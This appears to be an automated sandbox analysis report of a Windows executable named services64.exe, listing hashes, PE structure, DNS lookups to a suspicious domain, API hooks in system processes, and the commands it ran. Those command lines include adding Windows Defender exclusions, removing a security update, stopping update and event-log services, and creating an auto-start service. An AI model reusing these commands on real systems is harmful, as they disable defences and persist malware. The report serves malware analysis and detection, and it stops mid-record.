                                          Entropy (8bit):7.9016694571881345
                                          TrID:
                                          • Win64 Executable GUI (202006/5) 92.65%
                                          • Win64 Executable (generic) (12005/4) 5.51%
                                          • Generic Win/DOS Executable (2004/3) 0.92%
                                          • DOS Executable Generic (2002/1) 0.92%
                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                          File name:services64.exe
                                          File size:17'878'016 bytes
                                          MD5:a36aa640215e6e609fb942ff79c5adb5
                                          SHA1:dc636f4de97d4b948d0abfbfa37ebeca08b5da55
                                          SHA256:ff0a72d1860c9cad62aa4e48afe58831edc35ef4947661c7335dd08e5f26e05b
                                          SHA512:546948ef0c7e29d0f92eba004be271a8a93375b1d1b934c643e7c963e3b2095d40368cbda8feb79cc342f88f7199016a6d2eb715b0e4e0516097e57787b9db98
                                          SSDEEP:393216:7KmaIQfcS5boKvqDG/mCSq20y8/qDvnEkWX:7x/GborG/46gHW
                                          TLSH:AA0723C3E19E99BCE5C75704984023CF38D8A1B65DADD95C3ACD0C03EA56EAD81CA772
                                          File Content Preview:MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...3.3g.........."...........S................@.............................p............`........................................

                                          File Icon

                                          Icon Hash:90cececece8e8eb0

                                          Static PE Info

                                          General

                                          Entrypoint:0x140d28a90
                                          Entrypoint Section:."8l
                                          Digitally signed:false
                                          Imagebase:0x140000000
                                          Subsystem:windows gui
                                          Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                          DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                          Time Stamp:0x67339933 [Tue Nov 12 18:06:43 2024 UTC]
                                          TLS Callbacks:0x4130bcdc, 0x1, 0x40001760, 0x1, 0x400017e0, 0x1
                                          CLR (.Net) Version:
                                          OS Version Major:6
                                          OS Version Minor:0
                                          File Version Major:6
                                          File Version Minor:0
                                          Subsystem Version Major:6
                                          Subsystem Version Minor:0
                                          Import Hash:c7b7b517cf49febe9724e1b897a98881

                                          Entrypoint Preview

                                          Instruction
                                          call 00007F876C9BA5AFh
                                          inc ecx
                                          push edx
                                          pushfd
                                          dec ecx
                                          mov edx, 69829627h
                                          stosd
                                          push eax
                                          mov ch, 71h
                                          dec esp
                                          mov edx, dword ptr [esp+08h]
                                          dec eax
                                          mov dword ptr [esp+08h], 8542B56Fh
                                          push dword ptr [esp+00h]
                                          popfd
                                          dec eax
                                          lea esp, dword ptr [esp+08h]
                                          call 00007F876D87E574h
                                          jnle 00007F876C9E7B46h
                                          insb
                                          mov edi, D9455D45h
                                          scasb
                                          fiadd dword ptr [eax-73h]
                                          std
                                          and eax, 40DAAE59h
                                          inc ebp
                                          aad C5h
                                          mov al, 3Ch
                                          sbb edi, dword ptr [edi+22F222E7h]
                                          bound esp, dword ptr [edi+esi*8]
                                          push ecx
                                          dec ecx
                                          adc dword ptr [ebp+11BF2550h], ecx
                                          cmp dword ptr [ecx], esi
                                          lodsb
                                          mov eax, dword ptr [12EA408Ah]
                                          push esi
                                          in eax, dx
                                          clc
                                          inc eax
                                          push ebx
                                          and eax, E37A043Ch
                                          cld
                                          scasb
                                          xor al, 44h
                                          outsd
                                          push edx
                                          mov edx, 35EF315Ah
                                          inc esp
                                          outsd
                                          push edx
                                          fild qword ptr [edx]
                                          sub ch, byte ptr [eax+476BBEC3h]
                                          jbe 00007F876C9E7AC6h
                                          fistp dword ptr [edi-0Eh]
                                          xor dword ptr [esi], eax
                                          mov cl, B5h
                                          mov si, fs
                                          scasd
                                          xchg eax, esp
                                          jnp 00007F876C9E7A9Ah
                                          int1
                                          pop ebp
                                          ror dword ptr [edi+35h], 68h
                                          sbb dword ptr [eax+6Bh], edx
                                          mov bh, BCh
                                          push cs
                                          mov byte ptr [3EF56B3Eh], al
                                          jmp far B186h : 912594C9h
                                          fbld [edi-71535257h]
                                          hlt
                                          push 00000070h
                                          jne 00007F876C9E7B02h
                                          pushad
                                          in eax, dx

                                          Data Directories

                                          NameVirtual AddressVirtual Size Is in Section
                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xea81100x64."8l
                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x1de2ff00x2b20."8l
                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x1de60000x114.reloc
                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_TLS0xd54c100x28."8l
                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1de2eb00x138."8l
                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IAT0xcd90000x68.J4v
                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                          Sections

                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                          .text0x10000xc4b60x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                          .rdata0xe0000x5cfc0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .data0x140000x52f4580x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .pdata0x5440000x1bc0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .00cfg0x5450000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .tls0x5460000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .:ja0x5470000x791b0c0x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                          .J4v0xcd90000x8680xa00078cb98bf66c3e6750dee49e01543a36False0.026953125data0.14899665250988958IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          ."8l0xcda0000x110bb100x110bc004590cb074bb125fe5bc68e5a6107c0d9unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                          .reloc0x1de60000x1140x20017dc5c669d5136a7c8f36f4e065f8da8False0.3984375data2.6297198380486444IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                          Imports

                                          DLLImport
                                          msvcrt.dll__C_specific_handler
                                          KERNEL32.dllDeleteCriticalSection
                                          KERNEL32.dllGetSystemTimeAsFileTime
                                          KERNEL32.dllHeapAlloc, HeapFree, ExitProcess, LoadLibraryA, GetModuleHandleA, GetProcAddress

                                          Network Behavior

                                          UDP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Dec 14, 2024 17:57:25.520035028 CET53528941.1.1.1192.168.2.4
                                          Dec 14, 2024 17:57:38.964623928 CET53628151.1.1.1192.168.2.4
                                          Dec 14, 2024 17:58:24.437958002 CET53577841.1.1.1192.168.2.4
                                          Dec 14, 2024 17:59:40.884392977 CET53518801.1.1.1192.168.2.4

                                          DNS Answers

                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                          Dec 14, 2024 17:57:25.520035028 CET1.1.1.1192.168.2.40xfa96Name error (3)slkpanel3458647.sitenonenoneA (IP address)IN (0x0001)false
                                          Dec 14, 2024 17:57:38.964623928 CET1.1.1.1192.168.2.40xf58dName error (3)slkpanel3458647.sitenonenoneA (IP address)IN (0x0001)false
                                          Dec 14, 2024 17:58:24.437958002 CET1.1.1.1192.168.2.40x33cfName error (3)slkpanel3458647.sitenonenoneA (IP address)IN (0x0001)false
                                          Dec 14, 2024 17:59:40.884392977 CET1.1.1.1192.168.2.40x2ebeName error (3)slkpanel3458647.sitenonenoneA (IP address)IN (0x0001)false

                                          Code Manipulations

                                          User Modules

                                          Hook Summary

                                          Function NameHook TypeActive in Processes
                                          ZwEnumerateKeyINLINEexplorer.exe, winlogon.exe
                                          NtQuerySystemInformationINLINEexplorer.exe, winlogon.exe
                                          ZwResumeThreadINLINEexplorer.exe, winlogon.exe
                                          NtDeviceIoControlFileINLINEexplorer.exe, winlogon.exe
                                          ZwDeviceIoControlFileINLINEexplorer.exe, winlogon.exe
                                          NtEnumerateKeyINLINEexplorer.exe, winlogon.exe
                                          NtQueryDirectoryFileINLINEexplorer.exe, winlogon.exe
                                          ZwEnumerateValueKeyINLINEexplorer.exe, winlogon.exe
                                          ZwQuerySystemInformationINLINEexplorer.exe, winlogon.exe
                                          NtResumeThreadINLINEexplorer.exe, winlogon.exe
                                          RtlGetNativeSystemInformationINLINEexplorer.exe, winlogon.exe
                                          NtQueryDirectoryFileExINLINEexplorer.exe, winlogon.exe
                                          NtEnumerateValueKeyINLINEexplorer.exe, winlogon.exe
                                          ZwQueryDirectoryFileExINLINEexplorer.exe, winlogon.exe
                                          ZwQueryDirectoryFileINLINEexplorer.exe, winlogon.exe

                                          Processes

                                          Process: explorer.exe, Module: ntdll.dll
                                          Function NameHook TypeNew Data
                                          ZwEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                          NtQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          ZwResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                          NtDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                          ZwDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                          NtEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                          NtQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                          ZwEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                          ZwQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          NtResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                          RtlGetNativeSystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          NtQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                          NtEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                          ZwQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                          ZwQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                          Process: winlogon.exe, Module: ntdll.dll
                                          Function NameHook TypeNew Data
                                          ZwEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                          NtQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          ZwResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                          NtDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                          ZwDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                          NtEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                          NtQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                          ZwEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                          ZwQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          NtResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                          RtlGetNativeSystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                          NtQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                          NtEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                          ZwQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                          ZwQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF

                                          Statistics

                                          CPU Usage

                                          Click to jump to process

                                          Memory Usage

                                          Click to jump to process

                                          High Level Behavior Distribution

                                          Click to dive into process behavior distribution

                                          Behavior

                                          Click to jump to process

                                          System Behavior

                                          General

                                          Target ID:0
                                          Start time:11:57:05
                                          Start date:14/12/2024
                                          Path:C:\Users\user\Desktop\services64.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Users\user\Desktop\services64.exe"
                                          Imagebase:0x7ff79a1e0000
                                          File size:17'878'016 bytes
                                          MD5 hash:A36AA640215E6E609FB942FF79C5ADB5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:low
                                          Has exited:true

                                          General

                                          Target ID:1
                                          Start time:11:57:11
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                          Imagebase:0x7ff788560000
                                          File size:452'608 bytes
                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:2
                                          Start time:11:57:11
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:4
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                          Imagebase:0x7ff7c7d40000
                                          File size:289'792 bytes
                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:5
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:6
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:7
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:8
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\wusa.exe
                                          Wow64 process (32bit):false
                                          Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                          Imagebase:0x7ff6aca30000
                                          File size:345'088 bytes
                                          MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:9
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:10
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:11
                                          Start time:11:57:14
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:12
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:13
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop bits
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:14
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:15
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop dosvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:16
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:17
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:18
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:19
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:20
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:21
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:22
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:23
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:24
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:25
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\dialer.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\dialer.exe
                                          Imagebase:0x7ff720e40000
                                          File size:39'936 bytes
                                          MD5 hash:B2626BDCF079C6516FC016AC5646DF93
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:26
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe delete "WindowsAutHost"
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:27
                                          Start time:11:57:15
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:28
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:29
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:30
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\winlogon.exe
                                          Wow64 process (32bit):false
                                          Commandline:winlogon.exe
                                          Imagebase:0x7ff7cd660000
                                          File size:906'240 bytes
                                          MD5 hash:F8B41A1B3E569E7E6F990567F21DCE97
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:31
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\lsass.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\lsass.exe
                                          Imagebase:0x7ff7a2ae0000
                                          File size:59'456 bytes
                                          MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:32
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop eventlog
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:33
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe start "WindowsAutHost"
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:34
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
